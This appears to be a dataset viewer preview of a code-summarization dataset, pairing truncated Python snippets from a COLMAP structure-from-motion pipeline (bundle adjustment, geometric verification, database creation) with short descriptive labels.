def run_bundle_adjuster(deep_sfm_dir, ba_dir, colmap_path):
logging.info("Running the bundle adjuster.")
deep_sfm_model_dir = osp.join(deep_sfm_dir, 'model')
cmd = [
str(colmap_path), 'bundle_adjuster',
... | null |
14,552 | import os
import h5py
import logging
import tqdm
import subprocess
import os.path as osp
import numpy as np
from pathlib import Path
from src.utils.colmap.read_write_model import CAMERA_MODEL_NAMES, Image, read_cameras_binary, read_images_binary
from src.utils.colmap.database import COLMAPDatabase
The provided code sn... | Geometric verfication |
14,553 | import os
import h5py
import logging
import tqdm
import subprocess
import os.path as osp
import numpy as np
from pathlib import Path
from src.utils.colmap.read_write_model import CAMERA_MODEL_NAMES, Image, read_cameras_binary, read_images_binary
from src.utils.colmap.database import COLMAPDatabase
CAMERA_MODEL_NAMES =... | Create COLMAP database file from empty COLMAP binary file. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.